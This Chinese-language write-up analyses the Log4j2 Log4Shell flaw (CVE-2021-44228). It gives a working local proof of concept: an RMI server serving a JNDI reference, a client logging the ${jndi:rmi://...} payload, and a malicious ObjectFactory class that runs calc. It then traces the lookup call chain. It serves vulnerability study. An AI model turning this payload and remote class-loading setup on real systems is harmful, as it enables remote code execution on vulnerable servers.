log4j2漏洞分析(CVE-2021-44228)
# log4j2漏洞分析(CVE-2021-44228)
# 0x01 漏洞描述
Apache Log4j2 是 Apache 的一个开源项目,Apache Log4j2 是一个基于 Java 的日志记录工具,使用非常广泛,被大量企业和系统索使用,漏洞触发及其简单,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置。
影响范围:Apache Log4j 2.x<=2.14.1
# 0x02 漏洞复现
使用maven引入相关组件,相应的pom.xml文件:
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
2
3
4
5
6
7
下面的复现利用的是log4j2提供的jndi功能,自己手动构建恶意类的方式调用
服务端:
public class Rmiserver {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(12345);
Reference reference = new Reference("Hello", "Hello",
"http://127.0.0.1:8080/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj", referenceWrapper);
}
}
2
3
4
5
6
7
8
9
客户端:
public class Log4jTEst {
public static void main(String[] args) {
Logger logger = LogManager.getLogger();
logger.error("${jndi:rmi://127.0.0.1:12345/obj}");
}
}
2
3
4
5
6
恶意类:
public class Hello implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("hello");
Runtime.getRuntime().exec("calc");
return null;
}
}
2
3
4
5
6
7
8
9
复现:
# 0x03 漏洞调用链分析
关键调用链
LOGGER.error
......
MessagePatternConverter.format
....
StrSubstitutor.resolveVariable
Interpolator.lookup
JndiLookup.lookup
JndiManager.lookup
InitialContext.lookup
2
3
4
5
6
7
8
9
在入口点logger.error()打上断点:
进入org.apache.logging.log4j.spi#error
:
org.apache.logging.log4j.spi#logIfEnabled
:
org.apache.logging.log4j.spi#logMessageTrackRecursion
:
就这样一步步递归,走到关键点org.apache.logging.log4j.core.appender#directEncodeEvent
。该方法的第一行代码将返回当前使用的布局,并调用对应布局处理器的encode方法
log4j2默认缺省布局使用的是PatternLayout:
继续跟进在encode中会调用toText方法,根据注释该方法的作用为创建指定日志事件的文本表示形式,并将其写入指定的StringBuilder中。org.apache.logging.log4j.core.layout#encode
跟进toText方法:org.apache.logging.log4j.core.layout#toText
接下来会调用serializer.toSerializable
,并在这个方法中调用不同的Converter来处理传入的数据,如下图所示,
这里一步步将event添加到buf中:
一直添加到:
开始解析${
。org.apache.logging.log4j.core.pattern#format
下面有一个关键点。这里对日志消息进行格式化,其中很明显的看到有针对字符”$”和”{“的判断,而且是连着判断,等同于判断是否存在”${“,这三行代码中关键点在于最后一行
注意此时的workingBuilder是一个StringBuilder对象,该对象存放的字符串如下所示
15.23.39.893 [main] ERROR Log4jTEst - ${jndi:rmi://127.0.0.1/obj}
本来这段字符串的长度是63,但是却给它改成了38,为什么呢?因为第38的位置就是$
符号,也就是说只保留$
之前的,${jndi:rmi://127.0.0.1/obj}
这段不要了,从第38位开始append。而append的内容是什么呢?可以看到传入的参数是config.getStrSubstitutor().replace(event, value)的执行结果,其中的value就是${jndi:rmi://127.0.0.1/obj}
这段字符串。也就是说这里append的字符串就是这段字符串replace后的内容。
replace的作用简单来说就是想要进行一个替换,我们继续跟进org.apache.logging.log4j.core.lookup#replace
:
经过一系列的嵌套调用,来到了org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute
。StrSubstitutor类提供了关键的 DEFAULT_ESCAPE
是 $
,DEFAULT_PREFIX
前缀是 ${
,DEFAULT_SUFFIX
后缀是 }
,DEFAULT_VALUE_DELIMITER_STRING
赋值分隔符是 :-
,ESCAPE_DELIMITER_STRING
是 :\-
这个类提供的 substitute
方法,是整个 Lookup 功能的核心,用来递归替换相应的字符,这里来仔细看一下处理逻辑。
方法通过 while 循环逐个字符串寻找 ${
前缀
找到前缀后开始找后缀,但是在找后缀的 while 循环里,又判断了是否替换变量中的值,如果替换,则再匹配一次前缀,如果又找到了前缀,则 continue 跳出循环,再走一次找后缀的逻辑,用来满足变量中嵌套的情况。
后续的处理中,通过多个 if/else 用来匹配 :-
和 :\-
在没有匹配到变量赋值或处理结束后,将会调用 resolveVariable
方法解析满足 Lookup 功能的语法,并执行相应的 lookup ,将返回的结果替换回原字符串后,再次调用 substitute
方法进行递归解析。
跟进org.apache.logging.log4j.core.lookup#resolveVariable
调用了lookup函数。
而这实际上是一个代理类 Interpolator
,这个类在初始化时创建了一个 strLookupMap
,将一些 lookup 功能关键字和处理类进行了映射,存放在这个 Map 中
处理和分发的关键逻辑在于其 lookup
方法,通过 :
作为分隔符来分隔 Lookup 关键字及参数,从strLookupMap
中根据关键字jndi
作为 key 匹配到对应的处理类jndiLookup
,并调用其 lookup 方法。
由此调用了jndiLookup方法,弹出了计算器